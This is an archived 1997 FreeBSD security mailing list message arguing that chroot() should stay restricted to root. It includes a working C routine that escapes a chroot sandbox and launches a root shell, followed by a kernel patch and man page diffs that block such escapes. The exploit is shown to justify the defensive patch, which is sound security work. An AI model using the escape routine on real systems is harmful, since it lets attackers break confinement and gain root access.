Skip site navigation (1)Skip section navigation (2)
Date:      Tue, 8 Jul 1997 09:18:17 +0930 (CST)
From:      newton@communica.com.au (Mark Newton)
To:        robert@cyrus.watson.org (Robert Watson)
Cc:        sef@kithrup.com, security@FreeBSD.ORG
Subject:   Re: Security Model/Target for FreeBSD or 4.4?
Message-ID:  <9707072348.AA21807@communica.com.au>
In-Reply-To: <Pine.BSF.3.95q.970707153631.3248B-100000@cyrus.watson.org> from "Robert Watson" at Jul 7, 97 04:05:07 pm

next in thread | previous in thread | raw e-mail | index | archive | help
Robert Watson wrote:

 > On a related note, has anyone given any thought to making chroot() a
 > user-accessible call? 

Yow.  Extremely bad idea.

However, taking it to the opposite extreme is a good idea.  chroot() loses
its usefulness if a process in a "secured" sandbox can conceivably get 
root privileges -- Solution:  Restrict the chroot() call for *all* processes
that are already chroot()ed.

This is a patch against a version of FreeBSD that's about six months
old, but I can't imagine much would have changed to affect it.  The
effect of the patch is to cause chroot() to fail with EPERM if it is
called by a process that is already chroot()ed.

[ patch attached at end of this message ]

 > a vulnerability 
 > I haven't really looked at it, so am not sure why
 > it can only be called by uid root programs.  In terms of sandboxing (which
 > seems to be popular these days for various applications), it would be nice
 > to restrict programs to specific regions of the disk, etc.  Especially if
 > you are a non-root user developing programs that require special
 > libraries, etc.  Or if you want to run a restricted web or ftp server, but
 > don't have root access (as hopefully would be the case with the lighter
 > restrictions on binding ports <1024.)  

The problem is that then any of those, uh, "restricted" processes wouldn't
be restricted.  chroot()'s semantics are such that any user which is capable
of calling it is inherently capable of breaking out of a sandbox.

The chroot() system call doesn't change a process' *current* directory -
It changes a process' *root* directory.  If my current directory is
/foo and I say, "chroot("/bar")" the effect of that is to shift my root
directory to /bar *but I'm still in /foo until I chdir() into /bar!*

[ the chroot(1) command gets around this by doing a chdir() into the 
  directory you want to use as a root then saying `chroot(".")'   ]

As a result of those semantics, a process that can call chroot() can
break out of a sandbox quite easily.  To illustrate this, consider the
code fragment below which does exactly that (and try it out in your own
chroot()ed environment if you don't believe me):

     void make_sysadmin_grumpy(void)
     {
         int i;

         chdir("/");  /* change to root directory in sandbox */
         if (chroot("/some/directory/in/sandbox") == -1) {
             perror("chroot() won't work - exploit failed");
             exit(1);
         }

         /* Great - we're now *OUTSIDE* our root directory... but we still
          * have a ".." directory that takes us back to the parent of our
          * current directory.  That means we can get back to the *real* 
          * root directory by repeatedly changing back to "..", remembering
          * that the parent of / is itself */
         for (i = 0; i < 100; i++) chdir("..");
         
         /* We're now at the *real* root directory, even though this process'
          * root is in the sandbox */

         chroot(".");

         /* Oops - This process' root directory ain't the sandbox anymore!
          * start a root shell and start having some fun */
         execl("/bin/csh", "-csh", (char *)0L);
      }


Of course, if you allow chroot() for non-root processes, then those non-
root processes can break out of ANY chroot()'ed environment.  Which 
kinda misses the point of chroot(), really.

Anyway, here's the patch which makes chroot() fail if a process is already
chroot()ed -- which has the main benefit of preventing attacks like the 
one annotated above.  Method:  The chroot() VFS syscall will compare the
root directory in the caller's proc structure against the root directory
in init's proc structure;  If they aren't the same it'll fail with EPERM
even if the caller is a root-owned process.  If they are the same chroot()
continues as one would normally expect.  The effect is to cause chroot()
to fail if the caller or any of its ancestors have already called it.
This behaviour can be enabled by building a kernel with
`options "FUNKY_CHROOT"' in the config file.

The patch also contains diffs against the chroot(2) manpage for completeness'
sake.

    - mark

---
Mark Newton                               Email: newton@communica.com.au
Systems Engineer and Senior Trainer       Phone: +61-8-8303-3300
Communica Systems, a member of the        Fax:   +61-8-8303-4403
CAMTECH group of companies                WWW:   http://www.communica.com.au



*** /usr/src/lib/libc/sys/chroot.2.orig	Tue Nov  5 20:55:43 1996
--- /usr/src/lib/libc/sys/chroot.2	Tue Nov  5 22:27:49 1996
***************
*** 60,65 ****
--- 60,71 ----
  has no effect on the process's current directory.
  .Pp
  This call is restricted to the super-user.
+ .Pp
+ If the kernel has been built with the FUNKY_CHROOT compile-time option,
+ then calling chroot(2) will cause all future invocations for the calling
+ process and all of its future children to fail.  In certain circumstances
+ this behaviour can enhance security;  In other circumstances it can
+ reduce security and cause existing software to break horribly.
  .Sh RETURN VALUES
  Upon successful completion, a value of 0 is returned.  Otherwise,
  a value of -1 is returned and
***************
*** 72,78 ****
  .It Bq Er ENOTDIR
  A component of the path name is not a directory.
  .It Bq Er EPERM
! The effective user ID is not the super-user.
  .It Bq Er EINVAL
  The pathname contains a character with the high-order bit set.
  .It Bq Er ENAMETOOLONG
--- 78,87 ----
  .It Bq Er ENOTDIR
  A component of the path name is not a directory.
  .It Bq Er EPERM
! The effective user ID is not the super-user, or this kernel has been
! built with FUNKY_CHROOT and a previous call to
! .Xr chroot 2
! has been made by the caller or one of its ancestors.
  .It Bq Er EINVAL
  The pathname contains a character with the high-order bit set.
  .It Bq Er ENAMETOOLONG
***************
*** 90,95 ****
--- 99,106 ----
  .It Bq Er EIO
  An I/O error occurred while reading from or writing to the file system.
  .El
+ .Sh BUGS
+ FUNKY_CHROOT is a stupid name.
  .Sh SEE ALSO
  .Xr chdir 2
  .Sh HISTORY
*** /sys/kern/vfs_syscalls.c.orig	Tue Nov  5 18:20:22 1996
--- /sys/kern/vfs_syscalls.c	Tue Nov  5 20:42:21 1996
***************
*** 607,612 ****
--- 607,619 ----
  	register struct filedesc *fdp = p->p_fd;
  	int error;
  	struct nameidata nd;
+ #if defined(FUNKY_CHROOT)
+ 	register struct proc *init;
+ 
+ 	init = pfind((pid_t)1);   /* locate init's proc structure */
+ 	if (fdp->fd_rdir != init->p_fd->fd_rdir)
+ 		return(EPERM);	  /* if p's root != init's root return EPERM */
+ #endif /* FUNKY_CHROOT */
  
  	error = suser(p->p_ucred, &p->p_acflag);
  	if (error)



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?9707072348.AA21807>